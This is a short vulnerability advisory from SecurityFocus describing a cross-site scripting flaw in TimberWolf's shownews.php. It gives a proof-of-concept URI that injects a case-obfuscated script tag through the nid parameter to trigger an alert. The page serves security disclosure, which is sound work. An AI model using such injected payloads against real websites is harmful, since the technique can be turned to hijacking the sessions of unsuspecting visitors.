Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

TimberWolf ShowNews.PHP Cross-Site Scripting Vulnerability

An attacker can exploit this issue by enticing an unsuspecting victim to follow a malicious URI.

The following proof-of-concept URI is available:

http://www.example.com/shownews.php?nid=>'><ScRiPt%20%0a%0d>alert(1261667191)%3B</ScRiPt>







 

Privacy Statement
Copyright 2009, SecurityFocus